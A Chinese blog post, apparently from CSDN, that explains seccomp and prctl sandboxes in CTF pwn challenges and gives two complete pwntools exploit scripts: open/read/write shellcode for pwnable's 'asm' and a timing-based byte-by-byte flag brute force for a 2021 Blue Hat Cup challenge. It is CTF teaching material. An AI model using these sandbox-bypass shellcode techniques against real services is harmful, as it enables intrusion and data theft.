pwn -- 沙盒机制详解

原理机制 1、沙盒机制介绍 iOS中沙盒机制是一种安全体系,对应着某片独立的存储空间。任意一个iOS移动端程序项目工程都有各自独立的文件系统(独立的存储空间),项目工程应用程序的各种操作效果数据的来源都只能在对应的独立的文件系统存储空间内进行(空间)。 应用程序项目工程的任何操作必然是在自己的对应的独立存储空间里进行操作,应用程序项目工程和独立的空间是彼此一一对应的。A应用程序不能访问B项目的。所有的非代码规则文件都要保存在对立的内存空间中(某片特殊特性的内存区域),例如属性文件plist、文本文 阅读详情

概述

  沙盒机制也就是我们常说的沙箱,英文名sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
  在ctf比赛中,pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只能采取open/read/write的组合方式来读取flag。当然有些题目可能还会将上面三个系统调用砍掉一个,进一步限制我们获取到flag,这个会在后面的例题看到。

开启沙盒的两种方式

  在ctf的pwn题中一般有两种函数调用方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp库函数。

prctl函数调用

int sub_1269()
{
  __int16 v1; // [rsp+0h] [rbp-70h] BYREF
  __int16 *v2; // [rsp+8h] [rbp-68h]
  __int16 v3; // [rsp+10h] [rbp-60h] BYREF
  char v4; // [rsp+12h] [rbp-5Eh]
  char v5; // [rsp+13h] [rbp-5Dh]
  int v6; // [rsp+14h] [rbp-5Ch]
  __int16 v7; // [rsp+18h] [rbp-58h]
  char v8; // [rsp+1Ah] [rbp-56h]
  char v9; // [rsp+1Bh] [rbp-55h]
  int v10; // [rsp+1Ch] [rbp-54h]
  __int16 v11; // [rsp+20h] [rbp-50h]
  char v12; // [rsp+22h] [rbp-4Eh]
  char v13; // [rsp+23h] [rbp-4Dh]
  int v14; // [rsp+24h] [rbp-4Ch]
  __int16 v15; // [rsp+28h] [rbp-48h]
  char v16; // [rsp+2Ah] [rbp-46h]
  char v17; // [rsp+2Bh] [rbp-45h]
  int v18; // [rsp+2Ch] [rbp-44h]
  __int16 v19; // [rsp+30h] [rbp-40h]
  char v20; // [rsp+32h] [rbp-3Eh]
  char v21; // [rsp+33h] [rbp-3Dh]
  int v22; // [rsp+34h] [rbp-3Ch]
  __int16 v23; // [rsp+38h] [rbp-38h]
  char v24; // [rsp+3Ah] [rbp-36h]
  char v25; // [rsp+3Bh] [rbp-35h]
  int v26; // [rsp+3Ch] [rbp-34h]
  __int16 v27; // [rsp+40h] [rbp-30h]
  char v28; // [rsp+42h] [rbp-2Eh]
  char v29; // [rsp+43h] [rbp-2Dh]
  int v30; // [rsp+44h] [rbp-2Ch]
  __int16 v31; // [rsp+48h] [rbp-28h]
  char v32; // [rsp+4Ah] [rbp-26h]
  char v33; // [rsp+4Bh] [rbp-25h]
  int v34; // [rsp+4Ch] [rbp-24h]
  __int16 v35; // [rsp+50h] [rbp-20h]
  char v36; // [rsp+52h] [rbp-1Eh]
  char v37; // [rsp+53h] [rbp-1Dh]
  int v38; // [rsp+54h] [rbp-1Ch]
  __int16 v39; // [rsp+58h] [rbp-18h]
  char v40; // [rsp+5Ah] [rbp-16h]
  char v41; // [rsp+5Bh] [rbp-15h]
  int v42; // [rsp+5Ch] [rbp-14h]
  __int16 v43; // [rsp+60h] [rbp-10h]
  char v44; // [rsp+62h] [rbp-Eh]
  char v45; // [rsp+63h] [rbp-Dh]
  int v46; // [rsp+64h] [rbp-Ch]
  __int16 v47; // [rsp+68h] [rbp-8h]
  char v48; // [rsp+6Ah] [rbp-6h]
  char v49; // [rsp+6Bh] [rbp-5h]
  int v50; // [rsp+6Ch] [rbp-4h]

  prctl(38, 1LL, 0LL, 0LL, 0LL);
  v3 = 32;
  v4 = 0;
  v5 = 0;
  v6 = 4;
  v7 = 21;
  v8 = 0;
  v9 = 9;
  v10 = -1073741762;
  v11 = 32;
  v12 = 0;
  v13 = 0;
  v14 = 0;
  v15 = 53;
  v16 = 7;
  v17 = 0;
  v18 = 0x40000000;
  v19 = 21;
  v20 = 6;
  v21 = 0;
  v22 = 59;
  v23 = 21;
  v24 = 0;
  v25 = 4;
  v26 = 1;
  v27 = 32;
  v28 = 0;
  v29 = 0;
  v30 = 36;
  v31 = 21;
  v32 = 0;
  v33 = 2;
  v34 = 0;
  v35 = 32;
  v36 = 0;
  v37 = 0;
  v38 = 32;
  v39 = 21;
  v40 = 1;
  v41 = 0;
  v42 = 16;
  v43 = 6;
  v44 = 0;
  v45 = 0;
  v46 = 2147418112;
  v47 = 6;
  v48 = 0;
  v49 = 0;
  v50 = 0;
  v1 = 12;
  v2 = &v3;
  return prctl(22, 2LL, &v1);
}

  如上面代码所示,展示的是prctl开启沙盒的方式,上面的代码是直接来自某道真实pwn题,经过IDA反编译后的结果。这里最关键的代码是两个prctl的调用,然后其它看似很零散的变量其实是用来设置沙盒的结构体,只不过这里被IDA解释成了这样。关于如何设置结构体来控制沙盒的行为,这里我就不详细介绍了,大家可以查阅相关的资料,我下面简单介绍下prctl函数调用的功能。

// 函数原型
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

// option选项有很多,剩下的参数也由option确定,这里介绍两个主要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)

// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);

// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);

seccomp库函数

  该库函数的使用就比较简单和清晰了,下面的代码也取材于某道真实的pwn题,方便起见,我直接在代码中进行了注释。

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]
  
  // 两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
  // seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    puts("seccomp error");
    exit(0);
  }
  
  // seccomp_rule_add添加规则
  // v1对应上面初始化的返回值
  // 0x7fff0000即对应宏SCMP_ACT_ALLOW
  // 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
  // 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
  seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);

  // seccomp_load - Load the current seccomp filter into the kernel
  if ( seccomp_load(v1) < 0 )
  {
  	// seccomp_release - Release the seccomp filter state
  	// 但对已经load的过滤规则不影响
    seccomp_release(v1);
    puts("seccomp error");
    exit(0);
  }
  return seccomp_release(v1);
}

使用seccomp-tools识别沙盒

  接下来介绍一个工具 – seccomp-tools,可以直接使用该工具识别pwn题到底禁用了哪些系统调用以及允许哪些系统调用,基本用法如下代码所示。

seccomp-tools dump ./pwn

两道例题

  接下来以两道例题作为讲解,看下ctf中的开了沙盒的pwn题该作何求解。

pwnable_asm

  第一道题来自pwnable,名为asm,题目和远程环境可以在BUUCTF上找到,main函数如下截图所示,可以看到整个程序其实非常直接,告诉我们开了seccomp,只能用open/read/write的组合调用的方式来获取flag,并开辟了一段可读可写可执行的内存区域供我们使用,将输入读入到该内存区域中,在程序最后也是直接将这段内存区域的内容作为指令直接运行。
main
  使用seccomp-tools检查沙盒机制,可以看到先是判断了体系架构是否是x86_64的,然后对系统调用号进行了判断,只允许了read/write/open/exit四种系统调用。
seccomp-tools
  对于该题,我们的求解思路也比较清晰,直接使用open/read/write的组合调用读取flag就行,当然前提是你得知道或者猜测出存储flag的文件名字。下面是完整的exp:

from pwn import *


context(os="linux", arch="amd64")
p = process("./asm")
# p =remote("node3.buuoj.cn", 28320)

ad = 0x41414000+0x100
code = shellcraft.open("./flag")
code += shellcraft.read(3, ad, 0x50)
code += shellcraft.write(1, ad, 0x50)
code = asm(code)

p.send(code)
p.interactive()

第五届蓝帽杯_chall

  chall
  第二道题目来自2021年第五届蓝帽杯,名为chall,该题目main函数如下所示。这个题目也是比较直接,开辟了一块可读可写可执行的内存区域,然后只允许了open/read两个系统调用,我们输入的内容最后也是会被直接当作指令执行。
chall
  该题目使用了prctl(4, 0),简单说明如下,4对应的宏是PR_SET_DUMPABLE,第二个参数为0的话则不能被dump,为1可以被dump。换句话说,该程序我们无法使用seccomp-tools dump ./chall来查看其系统调用情况,只能靠阅读代码分析。同时在进行gdb调试时,执行到prctl(4, 0)这行时程序也会被终止。不过后来我发现只要以root身份执行,那么secccomp-tools和gdb调试都没问题,😫,估计应该是限制了一般身份用户的dump行为。如下图所示,是以root身份执行seccomp-tools查看该题目的系统调用情况。
sudo
  接下来说一下该题目的利用思路吧,由于该题目禁用了write,所以没有打印出flag,因此想到是爆破比对。首先同样是利用open/read将flag读取到固定内存位置,然后利用cmp指令在可见字符范围内([0x20, 0x7E])进行比对,如果相同则进入死循环,通过recv超时来判断是否成功,否则程序执行0x60的系统调用然后退出,其实这里执行任何系统调用程序(除open/read)都会退出。下面是完整的exp:

from pwn import *


# p = remote("8.140.177.7", 40334)
context(os="linux", arch="amd64")

map_addr = 0x10000
flag_addr = 0x10100


def cmp_flag_by_byte(p, offset, ch):
    p.recvuntil("Welcome to silent execution-box.\n")
    code = asm(
        """
        push 0x67616c66
        mov rdi, rsp
        xor edx, edx
        xor esi, esi
        push SYS_open
        pop rax
        syscall
        xor eax, eax
        push 3
        pop rdi
        push 0x50
        pop rdx
        mov rsi, 0x10100
        syscall
        mov dl, byte ptr [rsi+{}]
        mov cl, {}
        cmp cl, dl
        jz loop
        xor edi, edi
        push SYS_exit
        pop rax
        syscall
        loop:
        jmp loop
        """.format(offset, ch)
    )
    # print(hex(len(code)))
    # pause()
    p.send(code)


def pwn():
    flag = ""
    for offset in range(0x20):
        for ch in range(0x20, 0x7E+1):
       		p = process("./chall")
        	try:
       			cmp_flag_by_byte(p, offset, ch)
        		p.recv(timeout=1)
        		flag += chr(ch)
        		print("find one byte in flag :", flag)
       			p.close()
    			break
    		except:
    		   p.close()

    print("all done: flag is ", flag)


if __name__ == "__main__":
    pwn()

参考博客

  PWN题中常见的seccomp绕过方法
  seccomp沙箱机制 & 2019ByteCTF VIP
  一道 CTF 题目学习 prctl 函数的沙箱过滤规则

总结

不忘初心,砥砺前行!

pwn练习题 程序分析:main函数中只存在system("/bin/sh")函数,所以nc可直接拿到权限)nc指令:远程连接对方服务器,对方服务器有什么程序就会执行什么程序nc(ip + 端口号)例如在已给的靶机信息node5.buuoj.cn:29650中node5.buuoj.cn是域名,冒号后的29650是端口号(注意冒号要改为空格)然后直接cat flag 即可。 阅读详情

相关推荐

pwn的五道基础题

文章目录一:ret2text1:服务器地址与端口号2:传入参数3:参数的接收范围4:找到bin/sh所在的地址二:your_nc三:overflow四:printf1:找到如何进入/bin/sh2:找到sth的地址3:获得格式化字符串的偏移量五:rop拓展: 一:ret2text from pwn import * context.arch="amd64" io=remote("101.34.90.86",10002) secure_addr=0x400852 payload=b"a"*0x10+b"a"*

lllwky的博客 8157

pwn——箱机制

pwn

djhtdjdywgjc的博客 2584

从一道NSSCTF题出发:当execve被禁,如何用jmp rsp和shellcraft.cat拿到flag?

本文深入探讨了CTF Pwn类题目中保护机制的绕过技巧,特别是在execve被禁用时如何利用jmp rsp指令和shellcraft.cat实现文件读取。通过分析NSSCTF题目实例,详细讲解了shellcode构造、栈布局调整及完整利用链构建,为CTF选手提供了实用的攻防策略。

weixin_29011395的博客 112

箱安全机制

箱是一个限制程序运行的环境(箱主要限制系统资源的访问,如cpu,内存等等。不同级别的箱对这些资源的访问限制也不一样)就是将java代码限定在虚拟机(jvm) 特定的运行范围中,并且严格限制代码对本地系统资源的访问,通过这样的措施来保证对代码的有效隔离,防止对系统造成破坏。

m0_73467713的博客 981

pwn-随机计算题类型

沙盒机制也就是我们常说的箱,英文名sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。在ctf比赛中,pwn中的一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,**只能采取open/read/write的组合方式来读取flag。

IT_huanhuan的博客 2039

[HGAME 2023 week1] PWN 复现

先ida一下,可以看出来需要进行栈迁移,并且还存在,还有一段0x30的空间(溢出的空间较大),这就是为什么exp和[NSSCTF Round#14 Basic] rbp 不一样的原因,可溢出的空间不同,导致所利用的条件不同。首先ida一下,可以很明显的了解到跟有关,再查一下沙盒机制,显然不能直接构造orw,再加上read所存储的字节数少,不能直接构造,所以可以在mmap上面来构造orw。先泄露libc,再把orw写在自己确定的bss段,再用 leave ret 转到bss段,执行orw。

Xzzzz911的博客 1519

【CTF】【PWN】orw

这是沙盒机制,就是限制你能使用的syscall。 seccomp-tools这个工具能快速地查出你能使用地syscall。 我们能使用的常用的构造攻击链的只有open,read,write。 但是因为限制了syscall,所以我们不能用特殊的系统调用getshell。 有两种方法,一种直接写汇编,一种利用shellcraft构造。 下面是汇编: ...

m0_50819561的博客 1890

BUUCTF Pwn pwnable_asm

64位ELF 开启了箱,允许使用open()、read()、write()三个函数。  主要逻辑基本都在main函数当中,首先用函数映射出一块内存空间,起始地址为,大小为。  flag文件位于相同根目录下,可以利用这一函数试探文件名既具体位置。 核心思想是利用首先利用函数打开flag,然后利用函数将flag读入刚才映射好的内存空间中,最后利用函数写flag到屏幕上即可。根据刚才的分析,可以编写如下的 0x03 运行exp 本地调试好之后,远程连接靶场,运行flag{7be081e2-506e-423

ChaoYue_miku的博客 713

沙盒机制屏蔽函数(利用orw读取flag)+溢出漏洞

题目摘要: 本题考察Linux x86_64环境下的箱逃逸技术。程序通过mmap分配固定地址(0x233000)的RWX内存页,允许写入26字节shellcode,同时存在256字节的栈溢出漏洞。箱通过seccomp严格限制系统调用,禁用prctl/clone/fork/vfork/execve/ptrace/execveat等关键函数。解题思路:1) 利用栈溢出ROP控制流跳转至RWX区域;2) 在26字节限制内编写shellcode,通过open-read-write组合读取flag文件。需注意绕过

weixin_49330361的博客 179

[BUUCTF]PWN——pwnable_orw

pwnable_orw 附件 步骤: 例行检查,32位程序,开启了canary 本地运行一下程序,看看大概的情况,提示我们输入shellcode 32位ida载入,检索字符串,没看见什么可以直接利用的,直接看main函数 orw_seccomp函数 prctl在百度后知道了是沙盒机制,具体的看这篇文章 prctl seccomp相当于内核中的一种安全机制,正常情况下,程序可以使用所有的syscall,但是当劫持程序流程之后通过exeve来呼叫syscall得到shell时seccomp边

mcmuyanga的博客 2444

pwnable_orw

pwn的最经典的orw的题目,顺便学了一下手写汇编,对传参有了更深的理解

m0_58426698的博客 748

禁用+堆栈结合+反调试-ciscn_final_4

这题比较好玩题目采用了禁用+堆栈结合+反调试 保护 分析 main函数 watch函数 结合我的注释看,这题是有反调试的,所以就我们在本地打的时候可以将这文件的反调试部分就nop掉,之前会一点点逆向的题,所以也没耗多少时间,具体nop手法看我的另一篇文章[链接]:121312 nop后的main函数: new函数 mwrite函数 delete函数 总结: add函数可以malloc 32次 有打印堆数据函数 delete函数有uaf漏洞 运行程序后说不能执行系统调用(嗯~)之前没遇到过

csdn546229768的博客 569

ORW

沙盒机制也就是我们常说的箱,英文名sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。在ctf比赛中,pwn中的一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只能采取ORW,即open/read/write的组合方式来读取flag。

2301_79880752的博客 2598

1、深入了解 iOS 安全:从基础到高级攻击与防护

本文深入解析了iOS系统的安全机制,从基础架构到高级攻击与防护技术,涵盖iOS硬件、App Store保护、安全威胁、加密机制、代码签名、沙盒机制、模糊测试、漏洞利用、越狱原理、基带攻击等内容。同时总结了iOS安全机制的发展现状与未来趋势,并提供了用户和企业的安全防护建议。适用于对iOS安全感兴趣的研究人员、开发者和普通用户深入了解iOS系统的安全性与防护策略。

fern8的博客 171

[V&N2020 公开赛]babybabypwn[srop]

存在沙盒机制,禁用了execve,只能调用orw直接读flag了… #! /usr/bin/python3 from pwn import * ...

、moddemod 503

堆漏洞利用实战:从Double Free到Fastbin Attack的权限提升

在计算机安全领域,内存管理漏洞是攻击者获取系统权限的重要突破口。堆内存管理器(如glibc的ptmalloc)通过维护空闲内存块链表(如fastbins)来提升分配效率,但其松散的安全检查机制也埋下了安全隐患。理解堆的分配与释放原理,是掌握漏洞利用技术的基础。其中,Double Free(双重释放)和Use After Free(UAF,释放后重用)是两类经典的堆漏洞,它们允许攻击者破坏堆管理器的内部数据结构。通过精心构造内存布局,攻击者可以污染fastbin链表,实现Fastbin Attack,最终达到

weixin_33755649的博客 465

沙盒机制:保障安全的应用程序隔离环境

沙盒机制是一种安全机制,用于将应用程序和系统隔离开来,确保应用程序只能在受限的环境中运行。在中,应用程序无法访问系统资源和敏感数据,从而避免了应用程序之间的相互干扰和数据泄漏的风险。沙盒机制常用于操作系统、浏览器、移动应用等场景,以提供更高的安全性和稳定性。

good7ob的博客 2724

箱机制的理解

比如我们有一个应用程序可以访问机器上的所有资源:比如CPU,内存等等,但是这样肯定是不安全的,如果随意操作资源就可能破坏资源的使用,使其他使用资源的应用程序受到影响解决:1.为程序分配一个权限账号,操作系统的权限管理机制进行限制2.为程序提供一个受限的环境:箱机制所以说,什么是箱机制?箱机制就是限定一个应用程序访问资源的运行环境使用场景:1.类加载器,利用双亲委派机制,先委派给高层类进行加载,当高层无法应付时交给下面的加载器(保证了系统的核心类不会被篡改,恶意代码无法访问关键资源)

weixin_57128596的博客 2093
上一篇: 2021年津门杯ctf线上赛记录(WICCTF)
下一篇: CTF pwn -- ARM架构的pwn题详解
__lifanxin
博客等级 码龄10年 278粉丝 84原创
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值